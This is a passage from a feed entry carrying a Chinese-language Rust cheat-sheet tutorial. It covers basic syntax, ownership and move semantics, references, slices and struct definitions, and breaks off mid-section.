        <id>https://vercel.juzhong.asia/obsidian/rust从入门到精通/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust从入门到精通/">&lt;h1 id=&quot;rustcong-ru-men-dao-jing-tong&quot;&gt;Rust从入门到精通&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tcbbd.moe&#x2F;lang&#x2F;rust&#x2F;#Part-I-Common-Rust&quot;&gt;https:&#x2F;&#x2F;tcbbd.moe&#x2F;lang&#x2F;rust&#x2F;#Part-I-Common-Rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我这个人不喜欢废话，本文基本都是干货（其实一开始是写给自己看的Cheat Sheet性质的笔记没想到越写越长），没必要展开的地方就不展开讲了，读者可自行参考The Rust Book和Rust Reference。基本上Part I就是搬运的The Rust Book，补上了若干细节，Part II是一些相对更「高级」的特性，可对照Rust Reference食用，Part III是全文的精髓，里面对Rust核心的ownership、borrow和lifetime机制的讨论，目前中文资料里还没有如此深入的（好像英文也没有，大家都是复读机，只会复读最基本的知识）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;part-i-common-rust&quot;&gt;Part I. Common Rust&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;basics&quot;&gt;Basics&lt;&#x2F;h2&gt;
&lt;p&gt;首先看一下基本语法，在传统的C-like基础上引入了大量ML-Style语法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;注释：&lt;code&gt;&#x2F;&#x2F; this is a line comment&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* this is a block comment *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;&#x2F;&#x2F; inner line doc&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;** inner block doc *&#x2F;&lt;&#x2F;code&gt;: 这种注释用于为紧跟着的对象提供文档&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;&#x2F;! outer line doc&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;*! inner block doc *&#x2F;&lt;&#x2F;code&gt;: 这种注释用于为父对象提供文档&lt;&#x2F;li&gt;
&lt;li&gt;文档注释支持Markdown语法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ML风格变量声明&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let lhs = rhs;&lt;&#x2F;code&gt;: &lt;em&gt;Statement&lt;&#x2F;em&gt;以分号结尾&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let x: u32;&lt;&#x2F;code&gt;: 默认使用类型推导&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let mut y = 42;&lt;&#x2F;code&gt;: 默认immutable，加&lt;code&gt;mut&lt;&#x2F;code&gt;表示mutable&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let x = 3; let x = x * 2;&lt;&#x2F;code&gt;: 支持Variable Shadowing&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let&lt;&#x2F;code&gt;声明不是&lt;em&gt;Expression&lt;&#x2F;em&gt;，不能作为RHS&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;单独的&lt;code&gt;const&lt;&#x2F;code&gt;声明，不允许声明为mutable&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;const MAX: u32 = 100;&lt;&#x2F;code&gt;: 必须提供类型annotation&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;const&lt;&#x2F;code&gt;允许在Global Scope声明，而&lt;code&gt;let&lt;&#x2F;code&gt;不允许&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;const&lt;&#x2F;code&gt;只允许赋值Constant Expression，编译时无法确定的值不能赋值&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;基本类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;整数类型：&lt;code&gt;i8,u8,i16,u16,i32,u32,i64,u64,i128,u128&lt;&#x2F;code&gt;，此外还有&lt;code&gt;isize,usize&lt;&#x2F;code&gt;根据平台位数决定其长度&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;整数默认推导类型为&lt;code&gt;i32&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Debug模式下Integer Overflow会产生panic，但Release模式下不会&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;浮点类型：&lt;code&gt;f32,f64&lt;&#x2F;code&gt;，默认推导类型为&lt;code&gt;f64&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;布尔类型：&lt;code&gt;bool&lt;&#x2F;code&gt;，取值为&lt;code&gt;true,false&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;字符类型：&lt;code&gt;char&lt;&#x2F;code&gt;，4字节宽，代表一个Unicode Scalar Value（即除用于UTF-16的Surrogate以外的所有Unicode Code Point）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Tuple类型：&lt;code&gt;let tup: (A, B, C) = (a, b, c);&lt;&#x2F;code&gt;，即典型的Product Type&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以通过下标直接访问其成员：&lt;code&gt;tup.0, tup.1, tup.2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;可以进行&lt;em&gt;destructuring&lt;&#x2F;em&gt;：&lt;code&gt;let (x, y, _) = tup;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Array类型：&lt;code&gt;let a: [i32; 5] = [1, 2, 3, 4, 5]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Array类型是定长的，其类型声明需指定长度&lt;&#x2F;li&gt;
&lt;li&gt;Array总是分配在栈上&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let a = [3; 5]&lt;&#x2F;code&gt;，相当于&lt;code&gt;let a = [3, 3, 3, 3, 3]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Rust对数组越界有Runtime Check，一旦越界就会panic&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;type A = B&lt;&#x2F;code&gt;提供了Type Aliasing功能&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;操作符&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;+,-,*,&#x2F;,%,&amp;amp;,|,^,&amp;lt;&amp;lt;,&amp;gt;&amp;gt;&lt;&#x2F;code&gt;: 二元算数操作符，可重载&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;=,+=,-=,*=,&#x2F;=,%=,&amp;amp;=,|=,^=,&amp;lt;&amp;lt;=,&amp;gt;&amp;gt;=&lt;&#x2F;code&gt;: 赋值操作符，可重载（除&lt;code&gt;=&lt;&#x2F;code&gt;本身外）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;赋值操作的返回值是&lt;code&gt;()&lt;&#x2F;code&gt;，即禁止类似&lt;code&gt;x = y = 3;&lt;&#x2F;code&gt;的写法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;!expr, -expr&lt;&#x2F;code&gt;: 一元逻辑操作符和一元算数操作符，可重载&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&amp;amp;, ||&lt;&#x2F;code&gt;: 二元逻辑操作符，不可重载&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;==,!=,&amp;lt;,&amp;lt;=,&amp;gt;,&amp;gt;=&lt;&#x2F;code&gt;: 二元比较操作符，可重载&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;..&lt;&#x2F;code&gt;, &lt;code&gt;expr..&lt;&#x2F;code&gt;, &lt;code&gt;..expr&lt;&#x2F;code&gt;, &lt;code&gt;expr..expr&lt;&#x2F;code&gt;: 表示范围，不包括RHS&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;..=expr&lt;&#x2F;code&gt;, &lt;code&gt;expr..=expr&lt;&#x2F;code&gt;: 表示范围，包括RHS&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[]&lt;&#x2F;code&gt;: 数组下标操作符，可重载&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fn func(x: i32, y: i32) -&amp;gt; i32 {}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;参数必须提供类型声明，返回值类型不写则表示&lt;code&gt;()&lt;&#x2F;code&gt;即Unit Type&lt;&#x2F;li&gt;
&lt;li&gt;函数以&lt;em&gt;Statement&lt;&#x2F;em&gt;结尾则返回&lt;code&gt;()&lt;&#x2F;code&gt;，以&lt;em&gt;Expression&lt;&#x2F;em&gt;结尾则返回该expr的值，或者也可以用&lt;code&gt;return expr;&lt;&#x2F;code&gt;返回&lt;&#x2F;li&gt;
&lt;li&gt;函数不允许重载，同名函数即使参数、返回值不同也会冲突&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;const fn func()&lt;&#x2F;code&gt;: 通过&lt;code&gt;const&lt;&#x2F;code&gt;关键字可以指定&lt;em&gt;const function&lt;&#x2F;em&gt;，可以在编译时执行（当然同时也能在运行时被调用），类似于C++的&lt;code&gt;constexpr&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;控制流&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;if expr {} else {}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不像C&#x2F;C++&#x2F;Java&#x2F;C#，&lt;code&gt;expr&lt;&#x2F;code&gt;不需要加括号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;expr&lt;&#x2F;code&gt;必须是&lt;code&gt;bool&lt;&#x2F;code&gt;类型，Rust不会进行隐式类型转换&lt;&#x2F;li&gt;
&lt;li&gt;if语句属于&lt;em&gt;Expression&lt;&#x2F;em&gt;而不是&lt;em&gt;Statement&lt;&#x2F;em&gt;，因此可以作为赋值的RHS&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;循环语句&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;loop {}&lt;&#x2F;code&gt;: 相当于传统的&lt;code&gt;while (true) {}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;while expr {}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for pattern in expr {}&lt;&#x2F;code&gt;: 要求&lt;code&gt;expr&lt;&#x2F;code&gt;实现了&lt;code&gt;std::iter::IntoInterator&lt;&#x2F;code&gt;接口&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在循环语句前可以加&lt;em&gt;Label&lt;&#x2F;em&gt;，其格式为&lt;code&gt;&#x27;label&lt;&#x2F;code&gt;，然后可以通过&lt;code&gt;break &#x27;label;&lt;&#x2F;code&gt;或&lt;code&gt;continue &#x27;label;&lt;&#x2F;code&gt;跳出嵌套循环&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;循环语句也都属于&lt;em&gt;Expression&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;while, for&lt;&#x2F;code&gt;返回一个&lt;code&gt;()&lt;&#x2F;code&gt;，故其类型为Unit Type&lt;&#x2F;li&gt;
&lt;li&gt;仅在&lt;code&gt;loop&lt;&#x2F;code&gt;语句中，允许&lt;code&gt;break expr;&lt;&#x2F;code&gt;，此时其类型为&lt;code&gt;expr&lt;&#x2F;code&gt;的类型&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;loop&lt;&#x2F;code&gt;语句中&lt;code&gt;break;&lt;&#x2F;code&gt;，则返回一个&lt;code&gt;()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;不含&lt;code&gt;break&lt;&#x2F;code&gt;的&lt;code&gt;loop&lt;&#x2F;code&gt;语句类型为&lt;em&gt;Never Type&lt;&#x2F;em&gt;（&lt;code&gt;!&lt;&#x2F;code&gt;），即Bottom Type&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;move-semantics-and-references&quot;&gt;Move Semantics and References&lt;&#x2F;h2&gt;
&lt;p&gt;Rust Book第四章介绍了如下内容（补充了书中未提到的必要细节）。&lt;&#x2F;p&gt;
&lt;p&gt;首先是整体的语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;存在且默认使用move语义&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Assignment（&lt;code&gt;=&lt;&#x2F;code&gt;）、函数传参以及函数返回值，都采用move语义&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;只有对实现了&lt;code&gt;Copy&lt;&#x2F;code&gt;&lt;em&gt;Trait&lt;&#x2F;em&gt;（类似于接口，下面会详细介绍）的类型，才会是copy语义&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此处的copy语义是指浅拷贝&lt;&#x2F;li&gt;
&lt;li&gt;只有可以完全分配在栈上的类型才可以使用copy语义&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;实现了&lt;code&gt;Clone&lt;&#x2F;code&gt;Trait（&lt;code&gt;Copy&lt;&#x2F;code&gt;的父Trait）的类型，可以通过&lt;code&gt;.clone()&lt;&#x2F;code&gt;方法进行深拷贝&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个&lt;em&gt;value&lt;&#x2F;em&gt;最多只有一个变量作为其&lt;em&gt;owner&lt;&#x2F;em&gt;，但一个变量不一定有&lt;em&gt;value&lt;&#x2F;em&gt;（可能被move走了，此时不能再使用该变量）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;value&lt;&#x2F;em&gt;可以是临时产生的，此时没有owner，否则应当有一个owner&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;存在RAII语义，变量离开作用域（Scope）时，被其own的&lt;em&gt;value&lt;&#x2F;em&gt;可能需要被销毁&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若存在，则Destructor即&lt;code&gt;drop()&lt;&#x2F;code&gt;方法会被调用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;drop()&lt;&#x2F;code&gt;属于&lt;code&gt;Drop&lt;&#x2F;code&gt; Trait，类型若实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;则不允许实现&lt;code&gt;Copy&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;然后是Reference的语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;expr&lt;&#x2F;code&gt;表示取引用，&lt;code&gt;*expr&lt;&#x2F;code&gt;表示解引用，&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;表示引用类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;取引用操作的正式名称为&lt;em&gt;borrow&lt;&#x2F;em&gt;，表示借走了&lt;code&gt;expr&lt;&#x2F;code&gt;的ownership&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;*&lt;&#x2F;code&gt;操作符可重载&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;引用不是被引用的对象的owner，离开作用域时不会造成被引用者析构&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;引用默认是immutable的，&lt;code&gt;&amp;amp;mut expr&lt;&#x2F;code&gt;表示取mutable引用，&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;表示mutable引用类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;相当于C的&lt;code&gt;const T*&lt;&#x2F;code&gt;，&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;相当于C的&lt;code&gt;T*&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;不能对immutable变量取mutable引用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;操作符正式名称为shared borrow，&lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt;操作符正式名称为mutable borrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对同一个&lt;em&gt;value&lt;&#x2F;em&gt;的immutable引用和mutable引用作用域不能重叠，mutable引用和mutable引用作用域也不能重叠&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即只允许immutable引用发生Aliasing&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;还有一种裸指针&lt;code&gt;*const T&lt;&#x2F;code&gt;, &lt;code&gt;*mut T&lt;&#x2F;code&gt;，裸指针只能在&lt;code&gt;unsafe&lt;&#x2F;code&gt;块中才能解引用，后面会专门讲解Rust的unsafe特性&lt;&#x2F;p&gt;
&lt;p&gt;最后是Slice的语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;基本的Slice Type为&lt;code&gt;[T]&lt;&#x2F;code&gt;，它是一种&lt;em&gt;Dynamically Sized Type&lt;&#x2F;em&gt;，即只有在运行时才能知道其大小&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通常我们使用的类型是&lt;code&gt;&amp;amp;[T]&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut[T]&lt;&#x2F;code&gt;，通过&lt;code&gt;&amp;amp;expr[expr..expr]&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut expr[expr..expr]&lt;&#x2F;code&gt;获得，访问时使用下标&lt;code&gt;[expr]&lt;&#x2F;code&gt;访问即可&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Slice的引用实现为Fat Pointer，除包含一个指针外还包含一个size，并会在运行时进行边界检查&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;事实上，Slice只允许通过类似指针的类型访问，例如引用、裸指针（仅限&lt;code&gt;unsafe&lt;&#x2F;code&gt;块）和智能指针&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后补充一下&lt;code&gt;str&lt;&#x2F;code&gt;类型（也是基本类型）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;同Slice Type类似，也是&lt;em&gt;Dynamically Sized Type&lt;&#x2F;em&gt;，本质上可以视为一种特殊的String Slice，用法与Slice相同&lt;&#x2F;li&gt;
&lt;li&gt;String Literal的类型为&lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;println!&lt;&#x2F;code&gt;, &lt;code&gt;eprintln!&lt;&#x2F;code&gt;, &lt;code&gt;format!&lt;&#x2F;code&gt;: 用于输出到stdout、输出到stderr以及格式化字符串，采用&lt;code&gt;&quot;{}&quot;&lt;&#x2F;code&gt;python式的语法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;data-structures&quot;&gt;Data Structures&lt;&#x2F;h2&gt;
&lt;p&gt;首先来看&lt;code&gt;struct&lt;&#x2F;code&gt;，正如名字所暗示的，它不支持继承。Rust虽然支持Dynamic Dispatching，但故意没有实现继承，这是为了避免Fragile Base-Class Problem。&lt;&#x2F;p&gt;
&lt;p&gt;最典型的定义Struct的方式如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct A {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    a: String,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    b: i32,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    c: u64,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;结尾不需要分号&lt;&#x2F;li&gt;
&lt;li&gt;最后一项可以加逗号（可选）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;创建Struct对象的方式如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;A {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    a: str,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    b: x,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    c: y,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;当变量与Field同名时，可简写如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;A {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    a,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    b,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    c: y,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;或者还可以基于一个Instance创建另一个Instance，称为&lt;em&gt;struct update syntax&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let a_2 = A {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    a: str,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ..a_1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;struct update syntax&lt;&#x2F;em&gt;下，最后一项必须是&lt;code&gt;..expr&lt;&#x2F;code&gt;的格式，不能加逗号&lt;&#x2F;li&gt;
&lt;li&gt;否则可以加逗号（可选）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外还有一种&lt;em&gt;tuple struct&lt;&#x2F;em&gt;，可定义如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct Point(i32, i32, i32,);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;结尾要加分号&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后一项可以加逗号（可选）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;用法本质上和普通的Tuple一样，除了创建需要用&lt;code&gt;Point(a, b, c)&lt;&#x2F;code&gt;的形式进行&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;其主要用途是为Tuple标记上不同的Nominal Type，防止互相混用&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;为单独一个Type创建一个tuple struct称为&lt;em&gt;Newtype Pattern&lt;&#x2F;em&gt;，意思是类似于Haskell的newtype操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果要定义的Struct没有任何成员，则称为&lt;em&gt;unit-like struct&lt;&#x2F;em&gt;，此时可以这样定义：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct U; &#x2F;&#x2F; now U is also a constant&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
